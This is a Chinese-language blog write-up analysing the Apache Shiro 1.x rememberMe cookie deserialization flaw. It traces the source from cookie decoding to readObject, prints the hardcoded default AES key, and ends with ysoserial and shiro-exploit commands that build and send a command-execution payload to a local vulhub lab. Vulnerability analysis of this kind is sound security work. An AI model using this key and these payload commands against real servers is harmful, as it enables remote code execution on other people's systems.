概述
Shiro
是一个轻量级的安全框架,主要负责认证和访问控制。这个框架我之前也就是简单了解过怎么用,就直接 All in SpringSecurity
了。
总体来说Shiro
的配置简单,代码更易理解,由于本身比较轻量化,性能优于SpringSecurity
。
此漏洞的根本原因是代码中硬编码了Cookie: rememberMe
的加密密钥,通过使用Shiro
的默认密钥就可以构造恶意的Cookie
,在Shiro
解析Cookie
时就可以触发Java
的反序列化漏洞,从而执行任意命令。
影响版本
shiro 1.x - 1.2.5
测试代码
1 | version: '2' |
代码分析
1 | By default, shiro uses the `CookieRememberMeManager`. This serializes, encrypts and encodes the users identity for later retrieval. Therefore, when it receives a request from an unauthenticated user, it looks for their remembered identity by doing the following: |
因此我们直接定位到CookieRememberMeManager
。
通过浏览代码发现读取Cookie
与解码base64
的代码。
1 | protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { |
通过查看引用,定位到getRememberedPrincipals
方法。
1 | public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { |
在返回的base64解码结果非空的情况下走的逻辑,不出意外就是解密逻辑,接着跟进。
1 | protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { |
decrypt,稳了。
1 | protected byte[] decrypt(byte[] encrypted) { |
查看getDecryptionCipherKey()
方法,发现返回的是成员变量的值。接着逐层查看引用,发现值在无参构造中被设置。
1 | public void setCipherKey(byte[] cipherKey) { |
获取到硬编码的AES
默认密钥。
1 | private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); |
接着查看后续反序列化的逻辑,跟进deserialize()
方法。
1 | protected PrincipalCollection deserialize(byte[] serializedIdentity) { |
1 | public T deserialize(byte[] serialized) throws SerializationException { |
发现调用了ois.readObject()
方法实现反序列化操作。
查看ois
的构造方式,发现此类中并未重写ObjectInputStream
的readObject
方法,因此,最终明确加解密逻辑。
1 | public class ClassResolvingObjectInputStream extends ObjectInputStream { |
通过动态调试也发现了,Cookie
中保存的是当前登录用户的用户名。
1 | //加密 |
调用堆栈如下
1 | deserialize:77, DefaultSerializer (org.apache.shiro.io) |
exploit过程
按照vulhub的readme文档。使用ysoserial项目
1 | java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/6666" > poc.ser |
查看ysoserial
源码,加密对应的确是对应java.io.ObjectInputStream.readObject
使用java.io.ObjectOutputStream.writeObject
1 | package ysoserial; |
攻击
1 | package org.vulhub.shirodemo; |
还有比较好用的项目就是shiro-exploit,支持一键攻击。
1 | python shiro-exploit.py echo -g CommonsCollectionsK1 -u http://127.0.0.1:8085/login -c "ip a" |